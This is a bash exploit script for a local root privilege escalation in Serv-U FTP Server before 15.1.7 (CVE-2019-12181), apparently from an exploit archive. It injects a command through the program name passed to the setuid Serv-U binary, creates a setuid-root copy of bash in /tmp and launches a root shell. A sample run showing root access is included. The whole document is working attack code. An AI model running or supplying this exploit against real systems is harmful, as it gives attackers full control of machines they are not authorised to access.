Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)
#!/bin/bash # SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181) # Bash variant of Guy Levin's Serv-U FTP Server exploit: # - https://github.com/guywhataguy/CVE-2019-12181 # --- # user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot # [*] Launching Serv-U ... # sh: 1: : Permission denied # [+] Success: # -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh # [*] Launching root shell: /tmp/sh # sh-4.4# id # uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner) # --- # <bcoles@gmail.com> # https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181 if ! test -u "/usr/local/Serv-U/Serv-U"; then echo '[-] /usr/local/Serv-U/Serv-U is not setuid root' exit 1 fi echo "[*] Launching Serv-U ..." /bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" /usr/local/Serv-U/Serv-U -prepareinstallation' if ! test -u "/tmp/sh"; then echo '[-] Failed' /bin/rm "/tmp/sh" exit 1 fi echo '[+] Success:' /bin/ls -la /tmp/sh echo "[*] Launching root shell: /tmp/sh" /tmp/sh -p |